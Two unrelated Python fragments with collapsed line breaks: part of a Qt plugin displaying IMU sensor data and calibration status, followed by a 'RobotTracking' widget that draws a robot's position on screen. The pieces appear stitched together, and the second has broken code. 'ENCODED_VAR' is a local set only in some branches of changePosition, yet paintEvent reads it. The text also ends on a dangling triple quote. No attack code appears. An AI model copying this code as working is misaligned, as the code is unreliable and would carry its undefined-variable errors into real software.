self.imu_gl_wrapper.close() @staticmethod def has_device_identifier(device_identifier): return device_identifier == BrickIMUV2.DEVICE_IDENTIFIER def calibration_clicked(self): if self.calibration is None: self.calibration = Calibration(self) self.button_calibration.setEnabled(False) self.calibration.show() def detach_3d_view_clicked(self): if self.imu_gl_wrapper != None: self.imu_gl_wrapper.close() self.button_detach_3d_view.setEnabled(False) self.imu_gl_wrapper = WrapperWidget(self) self.imu_gl_wrapper.glWidget.set_state(self.imu_gl.get_state()) self.save_orientation.clicked.connect(self.save_orientation_clicked) self.imu_gl_wrapper.show() def cb_all_data(self, data): self.callback_counter += 1 if self.callback_counter == 2: self.callback_counter = 0 self.sensor_data[0].value = data.acceleration[0] / 100.0 self.sensor_data[1].value = data.acceleration[1] / 100.0 self.sensor_data[2].value = data.acceleration[2] / 100.0 self.sensor_data[3].value = data.magnetic_field[0] / 16.0 self.sensor_data[4].value = data.magnetic_field[1] / 16.0 self.sensor_data[5].value = data.magnetic_field[2] / 16.0 self.sensor_data[6].value = data.angular_velocity[0] / 16.0 self.sensor_data[7].value = data.angular_velocity[1] / 16.0 self.sensor_data[8].value = data.angular_velocity[2] / 16.0 self.sensor_data[9].value = data.euler_angle[0] / 16.0 self.sensor_data[10].value = data.euler_angle[1] / 16.0 self.sensor_data[11].value = data.euler_angle[2] / 16.0 self.sensor_data[12].value = data.quaternion[0] / (2 ** 14 - 1) self.sensor_data[13].value = data.quaternion[1] / (2 ** 14 - 1) self.sensor_data[14].value = data.quaternion[2] / (2 ** 14 - 1) self.sensor_data[15].value = data.quaternion[3] / (2 ** 14 - 1) self.sensor_data[16].value = data.linear_acceleration[0] / 100.0 self.sensor_data[17].value = data.linear_acceleration[1] / 100.0 self.sensor_data[18].value = data.linear_acceleration[2] / 100.0 self.sensor_data[19].value = data.gravity_vector[0] / 100.0 self.sensor_data[20].value = data.gravity_vector[1] / 100.0 self.sensor_data[21].value = data.gravity_vector[2] / 100.0 self.sensor_data[22].value = data.temperature for i in range(23): self.data_labels[i].setText("{0:.2f}".format(self.sensor_data[i].value)) self.imu_gl.update_orientation(self.sensor_data[12].value, self.sensor_data[13].value, self.sensor_data[14].value, self.sensor_data[15].value) if self.imu_gl_wrapper is not None: self.imu_gl_wrapper.glWidget.update_orientation(self.sensor_data[12].value, self.sensor_data[13].value, self.sensor_data[14].value, self.sensor_data[15].value) cal_mag = data.calibration_status & 3 cal_acc = (data.calibration_status & (3 << 2)) >> 2 cal_gyr = (data.calibration_status & (3 << 4)) >> 4 cal_sys = (data.calibration_status & (3 << 6)) >> 6 if self.calibration != None: self.calibration.save_calibration.setEnabled(data.calibration_status == 0xFF) self.calibration.mag_color.set_color(self.calibration_color[cal_mag]) self.calibration.acc_color.set_color(self.calibration_color[cal_acc]) self.calibration.gyr_color.set_color(self.calibration_color[cal_gyr]) self.calibration.sys_color.set_color(self.calibration_color[cal_sys]) else: self.imu_gl.update_orientation(data.quaternion[0] / (2 ** 14 - 1), data.quaternion[1] / (2 ** 14 - 1), data.quaternion[2] / (2 ** 14 - 1), data.quaternion[3] / (2 ** 14 - 1)) if self.imu_gl_wrapper is not None: self.imu_gl_wrapper.glWidget.update_orientation(data.quaternion[0] / (2 ** 14 - 1), data.quaternion[1] / (2 ** 14 - 1), data.quaternion[2] / (2 ** 14 - 1), data.quaternion[3] / (2 ** 14 - 1)) def led_clicked(self, state): if state == Qt.Checked: self.imu.leds_on() else: self.imu.leds_off()
class RobotTracking(QWidget): """ The 'RobotTracking' class is a QWidget subclass that allows the user to follow the robot position from an initialized origin point. """ def __init__(self): """ The 'RobotTracking' class constructor initializes, notably, the widget to follow the robot's position. It builds upon the constructor of its parent class, 'QWidget'. """ super().__init__() self.setStyleSheet("border:1px solid rgb(0, 0, 0)") self._distance_origin = 0 self._robot_x_pos = 200 self._robot_y_pos = 200 self._target_x_pos = 250 self._target_y_pos = 250 self._vel = 60 # pixels per second self._speed = 10 self.timer = QTimer(self) self.timer.start(round(1000 / self._vel)) self.initTracking() def initTracking(self): """ Sets the size of the widget and its label (tracking distance and position). """ self.setMinimumSize(UI_MIN_W, UI_MIN_H) self.label = QLabel(self) self.label.resize(TRACK_W, TRACK_H) self.label.setStyleSheet("color : rgb(0,0,0)") self.show() def changePosition(self, direction): """ Updates the target's distance and position according to geometry. """ UI_Graph_W = self.geometry().width() UI_Graph_H = self.geometry().height() if direction == STR_F and self._robot_y_pos > 0: self._robot_y_pos -= self._speed ENCODED_VAR = stringToByte('FORWARD') elif direction == STR_B and self._robot_y_pos < UI_Graph_H: self._robot_y_pos += self._speed ENCODED_VAR = stringToByte('BACKWARD') elif direction == STR_R and self._robot_x_pos < UI_Graph_W: self._robot_x_pos += self._speed ENCODED_VAR = stringToByte('RIGHT') elif direction == STR_L and self._robot_x_pos > 0: self._robot_x_pos -= self._speed ENCODED_VAR = stringToByte('LEFT') self.moveRobot(self._robot_x_pos, self._robot_y_pos) self.update() def moveRobot(self, robotX, robotY): """ Event that updates the target's distance and position label relative to the origin according to the target's movements. """ self._distance_origin = round( ((robotY - self._target_y_pos)**2 + (robotX - self._target_x_pos)**2)**0.5 ) self.label.setText( "Coordinates (x; y): ({}; {})\nDistance from origin: {}" .format(robotX, robotY, self._distance_origin) ) self.update() def initPosition(self): """ Event that updates the origin point according to reset command. """ self._target_x_pos = self._robot_x_pos self._target_y_pos = self._robot_y_pos self.update() def paintEvent(self, event): """ Event that draws a line between the target's position and its origin. """ robot = QPixmap(SCRIPT_DIR + SEP + LOGO) pix_robot = robot.scaledToHeight(40) q = QPainter() q.begin(self) q.setPen(QColor(0, 0, 0)) q.drawPixmap(QPoint(self._robot_x_pos-20, self._robot_y_pos-20), pix_robot) q.drawLine(self._robot_x_pos, self._robot_y_pos, self._target_x_pos, self._target_y_pos) moving_command = byteToString(ENCODED_VAR) '''